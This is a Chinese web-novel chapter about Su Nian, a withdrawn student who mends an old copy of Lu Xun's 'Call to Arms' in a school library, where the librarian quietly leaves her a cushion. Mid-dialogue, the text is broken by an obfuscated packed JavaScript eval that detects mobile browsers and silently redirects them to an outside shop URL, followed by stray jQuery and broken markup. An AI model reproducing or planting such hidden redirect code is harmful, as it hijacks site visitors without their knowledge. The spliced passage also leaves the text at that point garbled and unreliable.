上课铃响。
初二（3）班教室里出奇安静。
按上周五的说法，这节课是林知意的阅读分享会。前排女生桌上摆着彩笔和笔记本，等着看热闹。
教室门被推开，进来的不是穿白衬衫的林知意。
王建国把教案摔在讲桌上，粉笔灰震得飞起。
“看什么看？都把心收起来！”王建国拉着脸，双手撑着讲桌，“翻到第二十页，全班齐读！”
教室里响起翻书声。
张逸飞把语文书卷成纸筒，敲了敲前面李浩的后背。
“哎，实习老师呢？”张逸飞压低声音。
李浩往后靠，小声嘀咕：“我早上在教务处门口听见了，林老师被校长叫去谈话了。听说她非要学校拨款买课外书，主任嫌她多事，估计要被退回师大了。”
两人的声音在安静的教室里十分清晰。
王建国拿起黑板擦砸在讲桌上。
“张逸飞！你在下面嘀咕什么？站起来！”
张逸飞把卷好的语文书扔在桌上，站起身。
“王老师，我问林老师去哪了。今天不是她的阅读分享会吗？”
王建国指着张逸飞的鼻子：“她去哪了轮得到你管？你们现在的任务是中考！看闲书能考上高中吗？有的老师就是年轻不知轻重，搞些虚头巴脑的东西！”
张逸飞嗤笑一声，单手插在校服裤兜里：“那是人家愿意自己掏钱买书，又没花您的钱。”
“你给我出去罚站！”王建国手指着门外。
张逸飞踢开椅子走出教室，靠在走廊的栏杆上。
全班鸦雀无声。
王建国撑着讲桌，视线扫过全班。
“班里有些同学，成绩在中下游，还想着看闲书。我不点名，自己心里有数！”
苏念坐在最后一排，低着头，指甲抠着手心。
周雨晴坐在第一排，朝后排瞥了一眼。
她理好耳后的碎发，翻开书带头朗读起来。
“庆历四年春，滕子京谪守巴陵郡……”
全班跟着念了起来。
苏念看着黑板，手里的圆珠笔停在半空。
没有新书，也没有分享会。
学校和规矩都不曾改变。
她把抽屉里写有书名的草稿纸往深处推去，低头跟着念课文。
中午放学铃响，走廊上挤满了去食堂打饭的学生。
苏念没有去食堂。她口袋里装着半个冷馒头，避开人群顺着楼梯往四楼走。
四楼安静，平时没什么人来。
走廊尽头那张推荐书单的A4纸还在墙上贴着，边角被风吹得卷起。
推开旧图书馆的木门，屋里光线偏暗，空气里混杂着陈旧的纸张味。
前台收音机里放着单田芳的评书。图书管理员大爷靠在藤椅上，鼻梁架着老花镜，手里端着掉漆搪瓷缸。
苏念放轻脚步绕过前台，走到最里面的历史文学区。
她习惯坐在窗边。那里有个没靠背的圆木凳，凳子腿长短不一，坐上去会晃。
苏念蹲下身在书架底层翻找，抽出一本发黄的鲁迅《呐喊》。
书刚拿到手里，封面掉了一半。书脊的胶水早就干透发脆，里面的书页散开，几张内页从中间裂成两半。
这书有些年头，纸张发脆。
苏念站在原地，盯着手里的散页。
她把馒头塞回校服口袋，拿着散页走到前台。
“爷爷。”苏念出声喊。
大爷抬起眼皮，从老花镜上方打量她。
“有透明胶带吗？”苏念问。
大爷没吭声，放下搪瓷缸子拉开抽屉。他在废旧报纸和杂物里翻找，扔出一卷用到一半的宽胶带。
胶带边缘沾着一圈黑灰。
“谢谢。”苏念拿过胶带，转身走回角落。
苏念没有吃馒头。
她把散落的书页放在窗台上，按页码排好。遇到撕裂的内页，她把边缘对齐。纸张纤维的毛边咬合在一起，上面的铅字对得严丝合缝。
她扯下一段胶带贴上去，大拇指指甲在胶带上刮平，把里面的气泡挤出来。
收音机里的评书不知何时停了。
四楼安静得只能听到胶带撕开的响动。
大爷端着搪瓷缸子站起身，走到书架过道。他停在离苏念两米远的地方，整理旁边的旧报纸，余光瞥向窗边。
瘦小的女生趴在窗台上，头发垂下来挡住侧脸。她动作放慢，修补细致。脱胶的书脊被她用胶带重新固定，边角折叠整齐。
大爷咳嗽出声。
苏念没有抬头，沉浸在手里的动作里。
午休结束的预备铃打响，苏念把封皮压平。
书还是旧，拿在手里却不再散架。她把书放回书架原位，拿着胶带走到前台双手递过去。
“用完了，谢谢。”
大爷接过胶带扔回抽屉，他拿起报纸抖开，没说话。
苏念背起书包，拉开木门走出去。
周二上午，林知意没有出现。
班里有人传，新来的实习老师受不了气，卷铺盖走人了。
课间休息，周雨晴在收语文练习册。
她走到最后一排，敲了敲苏念的桌子：“苏念，练习册。”
苏念从书包里拿出来递过去。
周雨晴接过练习册，扫过苏念桌上的草稿纸。
“快期中考试了，心思放在正课上吧，课外书看多了也考不上重点高中。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849260|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
周雨晴语气温和。苏念没接话，把草稿纸翻面。
陈小满在旁边附和：“就是，王老师教得挺好。林老师搞课外没啥用，还耽误做题。”
周雨晴笑了笑：“人家毕竟是省城师大来的，看不上咱们小地方的规矩。本来就是实习，早晚要走。”
苏念低头看着脚尖。
中午放学，苏念再次来到四楼。
推开门，图书馆里冷清。大爷坐在藤椅上，手里举着报纸。
苏念走向自己常待的角落。走到窗边，她停下脚步。
摇晃的圆木凳上，多出灰蓝坐垫。坐垫边角磨损，露出泛黄的棉絮。表面洗得干净，带着肥皂味。
苏念转头看向前台。
大爷拿着报纸，整个人挡在报纸后面，报纸翻动的声音响亮。
苏念站定片刻。
她没跑过去道谢，也没开口问是谁放的。
在这个学校里，她习惯不发声。
她走过去在圆木凳上坐下。棉絮被压实，隔绝木凳的冰凉。坐垫的厚度垫平长短不一的凳子腿，木凳不再摇晃。身下传来踏实的暖意。
她伸手摸过坐垫粗糙的布料，从书架上抽出昨天那本《呐喊》。
前台传来收音机调频的杂音。评书的声音比昨天小，不会吵到人看书。
苏念翻开书页，书页停在《孔乙己》那一篇。
“孔乙己是站着喝酒而穿长衫的唯一的人。”
她读着这行字，手指抚过自己贴平的胶带。
在班里，她同样格格不入。大家都在为分数拼命，为融入小团体去讨好别人。只有她，守着破木凳看没人要的旧书。
阳光从窗外打进来，照在灰蓝坐垫上。
晚上，城中村出租屋。
吃过晚饭，外婆在客厅看电视，声音响亮。
苏念回到狭小的房间拉上门。她拉开抽屉，拿出黑皮日记本翻到新页。
今天她没有写字，她拿起黑色水性笔，在空白纸页中/央画出方形坐垫。线条简单没有涂色，在坐垫旁边，她画出笑脸。
她盯着那个笑脸。
这是她在学校里得到实质的回应。没有表扬，没有夸奖，只是一个洗净的旧坐垫。
这种无声善意比话语更让她觉得踏实。
合上日记本时，手机在桌面上震动。
是陈小满发来的QQ消息。
“大新闻！我刚才去办公室交作业，看到林老师了！”
“她抱着好几个大纸箱，明天好像真要搞分享会！”
苏念盯着屏幕，手指悬在键盘上方停顿。
她没有回复陈小满，把手机扣在桌面上。
她转头看向窗外夜空。
明天。